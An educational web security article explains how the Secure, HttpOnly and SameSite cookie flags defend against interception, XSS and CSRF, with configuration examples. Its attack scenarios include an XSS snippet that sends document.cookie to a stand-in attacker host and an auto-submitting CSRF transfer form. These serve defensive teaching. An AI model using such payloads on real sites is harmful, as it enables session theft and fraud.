Security

What Do the Secure, HttpOnly, and SameSite Cookie Attributes Do?

Understand the critical security attributes for HTTP cookies—Secure, HttpOnly, and SameSite—and how they protect against XSS, CSRF, and man-in-the-middle attacks.

By Inventive HQ Team

The Secure, HttpOnly, and SameSite attributes are the three flags you add to an HTTP cookie to lock it down. Secure forces the cookie to travel only over HTTPS (stopping network interception), HttpOnly hides it from JavaScript (stopping cross-site scripting theft), and SameSite restricts whether the cookie rides along with cross-site requests (stopping cross-site request forgery). For a session or authentication cookie you almost always want all three — Set-Cookie: session_id=abc123; Secure; HttpOnly; SameSite=Lax — because each attribute closes a different, well-documented attack path.

That is the summary an AI overview will hand you. What it can't show you is how each flag maps to a specific attack, what the browser actually does with each Set-Cookie line, and where the defaults quietly bite you (Chromium treats a missing SameSite as Lax; Firefox and Safari don't; SameSite=None is dropped entirely without Secure). The table, diagram, and copy-paste headers below make those trade-offs concrete.

HTTP cookies power essential website functionality, but improperly configured cookies create serious security vulnerabilities that attackers actively exploit. These attributes are frequently misconfigured or omitted entirely, leaving sensitive session cookies and authentication tokens vulnerable to theft. This comprehensive guide explains what each cookie security attribute does, why it matters, how attacks exploit missing protections, and how to properly configure cookies to maximize security without breaking functionality.

The Three Attributes at a Glance

Each attribute is a single word you append to a Set-Cookie header, and each defends a different attack surface. Read this table as attribute → what it does → the attack it shuts down.

AttributeWhat it doesAttack it mitigatesExample Set-Cookie line
SecureSends the cookie only over encrypted HTTPS connections; never over plain HTTPMan-in-the-middle interception on public/unsecured networksSet-Cookie: id=abc; Secure
HttpOnlyHides the cookie from document.cookie and all client-side JavaScriptSession theft via Cross-Site Scripting (XSS)Set-Cookie: id=abc; HttpOnly
SameSite=StrictCookie is never sent on any cross-site request, including link clicksCSRF — maximum protection, with UX frictionSet-Cookie: id=abc; SameSite=Strict
SameSite=LaxSent on top-level navigations (links) but not cross-site POSTs, iframes, or fetchCSRF — balanced default for most appsSet-Cookie: id=abc; SameSite=Lax
SameSite=NoneSent on all cross-site requests; requires Secure or the browser drops itNone (permissive) — only for legitimate third-party contextsSet-Cookie: id=abc; SameSite=None; Secure

The hardened baseline for a login/session cookie combines the first two with a SameSite value:

Set-Cookie: session_id=abc123xyz; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600
How Secure, HttpOnly, and SameSite each block a different cookie attack A cookie in the center is protected by three shields: Secure blocks network interception, HttpOnly blocks XSS script theft, and SameSite blocks cross-site request forgery. One cookie, three attack surfaces session cookie Secure HTTPS-only blocks MITM HttpOnly no JS access · blocks XSS theft SameSite Lax / Strict blocks CSRF

Before diving into specific attributes, it's important to understand the fundamental security challenges cookies face.

The Stateless HTTP Problem

HTTP is inherently stateless—each request is independent with no memory of previous interactions. Cookies solve this by storing session identifiers and authentication tokens that persist across requests. However, this creates security challenges:

Challenge 1: Cookies travel with every request Your browser automatically sends cookies to the server with every request to that domain, whether the request originates from legitimate website code or malicious injection.

Challenge 2: JavaScript can access cookies by default The document.cookie API allows JavaScript code to read and modify cookies, making them vulnerable to script injection attacks.

Challenge 3: HTTP transmits in plain text Without encryption, cookies sent over HTTP connections can be intercepted by attackers monitoring network traffic.

Challenge 4: Cross-site requests can include cookies Cookies are sent even when requests originate from different websites, enabling certain types of attacks if not properly restricted.

These challenges make cookie security attributes essential, not optional, for any website handling sensitive data.

The Secure Attribute: HTTPS-Only Transmission

The Secure attribute is the simplest but most fundamental cookie security protection.

What Secure Does

When you set the Secure flag on a cookie, browsers only send that cookie over HTTPS connections—never over plain HTTP. This prevents interception by attackers monitoring network traffic.

Syntax:

Set-Cookie: session_id=abc123xyz; Secure

Effect:

Why Secure Matters: Man-in-the-Middle Attacks

Without the Secure flag, cookies transmit in plain text over HTTP connections, enabling man-in-the-middle (MITM) attacks:

Attack Scenario Without Secure:

  1. User logs into website over HTTPS
  2. Server sets session cookie without Secure flag
  3. User clicks link to HTTP version of site (http://example.com)
  4. Browser sends session cookie over unencrypted HTTP
  5. Attacker on same WiFi network captures cookie
  6. Attacker uses stolen session cookie to impersonate user

Public WiFi Vulnerability: Coffee shops, airports, hotels, and other public networks are prime locations for cookie theft attacks. Without HTTPS and Secure flags, session cookies transmit in clear text for anyone with packet sniffing tools to capture.

Secure Flag Best Practices

1. Use on ALL Cookies for HTTPS Sites: If your website uses HTTPS (and in 2025, it should), every cookie should have the Secure flag. There's no legitimate reason to send cookies over HTTP when HTTPS is available.

2. Combine with HSTS: HTTP Strict Transport Security (HSTS) forces browsers to always use HTTPS for your domain, preventing downgrade attacks that try to force HTTP connections.

Strict-Transport-Security: max-age=31536000; includeSubDomains

3. Redirect HTTP to HTTPS: Configure your web server to automatically redirect all HTTP traffic to HTTPS, ensuring cookies are never sent over insecure connections.

4. Local Development Exception: The Secure flag is not required for localhost during development, as browsers make an exception for local testing.

Implementation Examples

Express.js (Node.js):

app.use(session({
  secret: 'your-secret-key',
  cookie: {
    secure: true,  // Requires HTTPS
    httpOnly: true,
    sameSite: 'lax'
  }
}));

PHP:

session_set_cookie_params([
    'secure' => true,
    'httponly' => true,
    'samesite' => 'Lax'
]);
session_start();

Django (Python):

# settings.py
SESSION_COOKIE_SECURE = True
CSRF_COOKIE_SECURE = True

ASP.NET Core (C#):

services.AddSession(options =>
{
    options.Cookie.SecurePolicy = CookieSecurePolicy.Always;
    options.Cookie.HttpOnly = true;
    options.Cookie.SameSite = SameSiteMode.Lax;
});

The HttpOnly Attribute: JavaScript Protection

The HttpOnly attribute prevents JavaScript from accessing cookies, defending against XSS attacks that attempt cookie theft.

What HttpOnly Does

Cookies marked HttpOnly cannot be read or modified through the document.cookie API or any other JavaScript mechanism. The cookie is only accessible to the web server.

Syntax:

Set-Cookie: session_id=abc123xyz; HttpOnly

Effect:

// With HttpOnly flag set:
console.log(document.cookie);
// Output: "" (HttpOnly cookies are invisible to JavaScript)

// Without HttpOnly flag:
console.log(document.cookie);
// Output: "session_id=abc123xyz; theme=dark; language=en"

Why HttpOnly Matters: XSS Attack Prevention

Cross-Site Scripting (XSS) attacks inject malicious JavaScript into vulnerable websites, commonly to steal session cookies and hijack user accounts. HttpOnly blocks this attack vector.

Attack Scenario Without HttpOnly:

1. Attacker Finds XSS Vulnerability: A forum allows user-submitted content but doesn't properly sanitize input:

<!-- Malicious comment posted by attacker -->
<script>
  fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

2. Victim Views Malicious Content: When other users view the page containing the injected script, it executes in their browsers.

3. Cookie Theft: The malicious script reads document.cookie (which includes the session cookie) and sends it to the attacker's server.

4. Session Hijacking: Attacker uses stolen session cookie to impersonate the victim, gaining full access to their account.

Defense With HttpOnly: When the session cookie has the HttpOnly flag:

document.cookie
// Returns: "theme=dark; language=en"
// Session cookie is hidden from JavaScript

The malicious script can't access the session cookie, preventing account hijacking even when XSS exists.

Advertisement

HttpOnly Limitations

What HttpOnly Protects:

  • ✓ Cookie theft via document.cookie
  • ✓ Cookie theft via XSS injections
  • ✓ Cookie modification by client-side scripts

What HttpOnly Doesn't Protect:

  • ✗ CSRF attacks (SameSite handles this)
  • ✗ Network interception (Secure handles this)
  • ✗ Server-side vulnerabilities
  • ✗ All XSS damage (attackers can still perform actions as the user)

HttpOnly doesn't eliminate XSS damage entirely—attackers can still make authenticated requests on the victim's behalf—but it prevents the most serious consequence: permanent account compromise through cookie theft.

HttpOnly Best Practices

1. Use on ALL Session and Authentication Cookies: Any cookie used for authentication or maintaining logged-in state should be HttpOnly. This includes:

  • Session identifiers
  • Authentication tokens
  • Remember-me tokens
  • JWT tokens (when stored in cookies)

2. Don't Use HttpOnly for Client-Side Cookies: Some cookies need JavaScript access (preferences, UI state, client-side tracking). For these, HttpOnly shouldn't be used:

  • Theme preferences (dark/light mode)
  • Language selection
  • UI layout preferences
  • Client-side analytics tokens

3. Combine with Input Sanitization: HttpOnly is a defense-in-depth measure. The primary defense against XSS is proper input validation and output encoding, preventing malicious scripts from executing in the first place.

4. Use Content Security Policy: CSP provides additional XSS protection by controlling which scripts can execute, working alongside HttpOnly to create multiple layers of defense.

The SameSite Attribute: CSRF Protection

The SameSite attribute controls when cookies are sent with cross-site requests, defending against Cross-Site Request Forgery (CSRF) attacks.

What SameSite Does

SameSite restricts cookie transmission based on the origin of the request, preventing cookies from being sent when requests originate from different websites.

Three Values:

1. SameSite=Strict (Most Restrictive):

Set-Cookie: session_id=abc123xyz; SameSite=Strict

Cookies are only sent when the request originates from the same site where the cookie was set. Not sent with any cross-site requests, including top-level navigation.

2. SameSite=Lax (Balanced Default):

Set-Cookie: session_id=abc123xyz; SameSite=Lax

Cookies are sent with top-level navigation (clicking links) but not with embedded requests (images, iframes, AJAX from other sites). This is the default in modern browsers if SameSite isn't specified.

3. SameSite=None (Permissive):

Set-Cookie: session_id=abc123xyz; SameSite=None; Secure

Cookies are sent with all cross-site requests. Requires the Secure flag. Only use when cross-site functionality is necessary (embedded content, third-party integrations).

Why SameSite Matters: CSRF Attack Prevention

Cross-Site Request Forgery tricks authenticated users into performing unwanted actions by exploiting automatic cookie transmission with cross-site requests.

Attack Scenario Without SameSite:

1. Victim Logs Into Banking Site: User logs into bank.com, receiving authenticated session cookie.

2. Attacker Crafts Malicious Page: Attacker creates evil.com with hidden form:

<form action="https://bank.com/transfer" method="POST" id="csrf">
  <input type="hidden" name="to" value="attacker-account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>
  document.getElementById('csrf').submit();
</script>

3. Victim Visits Malicious Site: While still logged into bank.com, victim visits evil.com.

4. Automatic Cookie Transmission: The malicious form submits to bank.com. Because the victim's browser has a valid session cookie for bank.com, it automatically includes it with the request.

5. Unauthorized Action: Bank.com sees an authenticated request (valid session cookie) and processes the transfer, sending $10,000 to the attacker's account.

Defense With SameSite: With SameSite=Lax or SameSite=Strict on the session cookie:

Set-Cookie: session_id=abc123xyz; SameSite=Lax; Secure; HttpOnly

When the malicious form submits from evil.com to bank.com, the browser doesn't include the session cookie because it's a cross-site POST request. The bank sees an unauthenticated request and rejects it.

SameSite Behavior Comparison

Request TypeStrictLaxNone
Same-site navigation (bank.com → bank.com/transfer)
Cross-site top-level navigation (evil.com → bank.com via link)
Cross-site POST (form from evil.com to bank.com)
Cross-site embedded content (evil.com embeds bank.com iframe)
Cross-site AJAX (evil.com makes fetch() to bank.com)

Choosing the Right SameSite Value

Use Strict When:

  • Maximum security is required
  • Cross-site access is never needed
  • You can accept UX friction (users clicking links to your site from elsewhere won't be logged in initially)
  • Banking, financial applications, admin panels

Use Lax When:

  • You need CSRF protection with minimal UX impact (recommended default)
  • Users often arrive via links from other sites (email, social media)
  • Session persistence across navigation is important
  • Most standard web applications

Use None When:

  • Cookie must work in third-party contexts
  • Embedded widgets or iframes require authentication
  • Cross-origin API requests need cookies
  • SSO systems serving multiple domains
  • Always pair with Secure flag

Modern Browser Default Behavior

Chromium-based browsers (Chrome, Edge, Opera) treat a cookie with no SameSite attribute as SameSite=Lax — a change that shipped in Chrome 80 in February 2020. Firefox and Safari do not uniformly enforce the same default, so you should never rely on the browser to supply Lax for you. Always set SameSite explicitly.

Pre-2020 Behavior:

  • No SameSite attribute = cookies sent with all requests
  • CSRF protection required separate implementation

Current Behavior (Chromium, 2020+):

  • No SameSite attribute = SameSite=Lax automatically applied
  • Basic CSRF protection by default in Chrome/Edge/Opera
  • Explicit SameSite=None; Secure required for cross-site cookies — a None cookie without Secure is rejected outright

This change broke many legacy applications relying on cross-site cookie transmission, but significantly improved default web security. Because Firefox and Safari behavior still varies, treating the default as "undefined" and setting the attribute yourself is the only portable approach.

SameSite Edge Cases and Limitations

Top-Level Navigation Exception: SameSite=Lax allows cookies with top-level navigation (clicking links), which can be exploited by sophisticated attackers creating "clickjacking" attacks that trick users into clicking malicious links. For maximum protection, use Strict.

Browser Compatibility: Older browsers (pre-2020) don't support SameSite, falling back to no restriction. Use additional CSRF protections (CSRF tokens) for complete coverage.

Subdomain Considerations: SameSite considers the "site" based on eTLD+1 (effective top-level domain + one level). So:

  • app.example.com and api.example.com are same-site (both .example.com)
  • example.com and example.org are cross-site (different domains)

Combining Attributes for Maximum Security

The three attributes work together to provide comprehensive cookie security, each addressing different attack vectors.

Production Standard:

Set-Cookie: session_id=abc123xyz; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600

This configuration provides:

  • Secure: Transmission only over HTTPS, preventing interception
  • HttpOnly: JavaScript can't access, preventing XSS cookie theft
  • SameSite=Lax: CSRF protection with reasonable UX
  • Path=/: Cookie applies to entire site
  • Max-Age=3600: Expires after 1 hour (session timeout)

High-Security Variant:

Set-Cookie: session_id=abc123xyz; Secure; HttpOnly; SameSite=Strict; Path=/; Max-Age=1800

For banking, admin panels, and other high-security applications:

  • SameSite=Strict: Maximum CSRF protection
  • Max-Age=1800: Shorter 30-minute timeout

Authentication/Session Cookies:

Secure; HttpOnly; SameSite=Lax (or Strict for high security)

CSRF Tokens:

Secure; SameSite=Strict

(Not HttpOnly, as JavaScript may need to read it for AJAX requests)

User Preference Cookies:

Secure; SameSite=Lax

(Not HttpOnly, as client-side code needs access)

Third-Party Integration Cookies:

Secure; SameSite=None

(Only when cross-site access is required)

Verification and Testing

After implementing cookie security attributes, verify they're correctly applied. Paste a Set-Cookie header or a live URL into the analyzer below to see which of the three flags are present and which are missing.

Loading interactive tool...

Using Browser Developer Tools

Chrome/Edge:

  1. Open DevTools (F12)
  2. Go to Application tab
  3. Expand Cookies in left sidebar
  4. Select your domain
  5. Check each cookie's attributes in the table

Firefox:

  1. Open DevTools (F12)
  2. Go to Storage tab
  3. Expand Cookies
  4. Select your domain
  5. Review cookie attributes

Automated Security Testing

Security Headers Scanner: Use online scanners like SecurityHeaders.com or Mozilla Observatory to check cookie security configuration.

Cookie Analyzer Tools: Specialized cookie analysis tools inspect all cookies on a page and flag security issues like missing attributes.

Web Application Security Scanners: Tools like OWASP ZAP, Burp Suite, and Acunetix test for improperly configured cookies as part of comprehensive security assessments.

Common Mistakes and How to Avoid Them

Mistake 1: Missing Secure Flag on HTTPS Sites

  • Problem: Cookies can be sent over HTTP if user downgrades connection
  • Fix: Add Secure to all cookies on HTTPS-only sites

Mistake 2: Authentication Cookies Without HttpOnly

  • Problem: XSS attacks can steal session cookies
  • Fix: Always use HttpOnly on authentication cookies

Mistake 3: No SameSite Attribute (Pre-2020 Sites)

  • Problem: Vulnerable to CSRF attacks in older browsers
  • Fix: Explicitly set SameSite=Lax or Strict

Mistake 4: SameSite=None Without Secure

  • Problem: Browsers reject SameSite=None cookies without Secure flag
  • Fix: Always pair SameSite=None with Secure

Mistake 5: Overly Long Cookie Expiration

  • Problem: Stolen cookies remain valid for extended periods
  • Fix: Use reasonable expiration times (minutes to hours for sessions, days for preferences)

Conclusion

The Secure, HttpOnly, and SameSite cookie attributes form the essential foundation of cookie security, protecting against the web's most common and dangerous attacks. Secure prevents interception over unencrypted connections, HttpOnly blocks XSS cookie theft, and SameSite defends against CSRF attacks. Together, they create multiple layers of defense that dramatically reduce attack surface.

In 2025, there's no excuse for omitting these attributes on production websites. Modern frameworks make implementation straightforward, and the security benefits far outweigh any minimal effort required. For session cookies and authentication tokens, use all three: Secure, HttpOnly, and SameSite=Lax (or Strict for high-security applications).

Remember that cookie security attributes are defense-in-depth measures. They work best alongside other security practices: HTTPS everywhere, Content Security Policy, input validation, output encoding, and regular security audits. But as a fundamental baseline, every website handling user sessions must properly configure these three critical attributes.

Want to check if your website's cookies are properly secured? Use our Cookie Analyzer tool to inspect cookie attributes, identify security issues, and get recommendations for hardening your cookie configuration.

Frequently Asked Questions

What do the Secure, HttpOnly, and SameSite cookie attributes do?

Secure tells the browser to send the cookie only over HTTPS, blocking network interception. HttpOnly hides the cookie from JavaScript (document.cookie), blocking theft through cross-site scripting (XSS). SameSite controls whether the cookie is attached to cross-site requests, blocking cross-site request forgery (CSRF). For a session cookie you normally want all three: Secure; HttpOnly; SameSite=Lax.

Is SameSite=Lax the default if I do not set the attribute?

In Chromium-based browsers (Chrome, Edge, Opera), a cookie with no SameSite attribute is treated as SameSite=Lax — a change that shipped in Chrome 80 in February 2020. Firefox and Safari do not universally enforce the same default, so you should always set SameSite explicitly rather than rely on the browser default.

Why does SameSite=None require the Secure flag?

Modern browsers reject a SameSite=None cookie unless it also carries the Secure attribute. Because SameSite=None allows the cookie to travel with every cross-site request, browsers insist it can only do so over HTTPS. Set-Cookie with SameSite=None but no Secure is silently dropped.

Does HttpOnly stop all XSS attacks?

No. HttpOnly only prevents JavaScript from reading the cookie value, which stops attackers from stealing a session cookie and reusing it elsewhere. An XSS payload can still perform actions in the victim's active session. HttpOnly is defense-in-depth; the real fix for XSS is input validation, output encoding, and a Content Security Policy.

What is the difference between SameSite=Strict and SameSite=Lax?

Strict never sends the cookie on any cross-site request, including a plain link click from another site — so a user following a link to your app arrives logged out until they navigate again. Lax sends the cookie on top-level navigations (link clicks) but not on cross-site POSTs, images, iframes, or fetch calls. Lax is the recommended default; Strict suits banking and admin panels.

Should I use HttpOnly on every cookie?

Use HttpOnly on any cookie that authenticates the user — session IDs, auth tokens, remember-me tokens, and JWTs stored in cookies. Do not set it on cookies that client-side code legitimately needs to read, such as theme or language preferences and CSRF tokens read by AJAX code.

Does the Secure flag work on localhost during development?

Browsers make an exception for localhost, so Secure cookies still work when developing on http://localhost. Do not use this as a reason to skip Secure in production — every cookie on an HTTPS site should carry it.

What is a hardened Set-Cookie header for a session cookie?

A strong baseline is: Set-Cookie: session_id=...; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600. For high-security applications use SameSite=Strict and a shorter Max-Age. Add the __Host- prefix (Set-Cookie: __Host-session=...) to force Secure, Path=/, and host-only scope.

HTTP cookiesweb securityXSS preventionCSRF protectioncookie security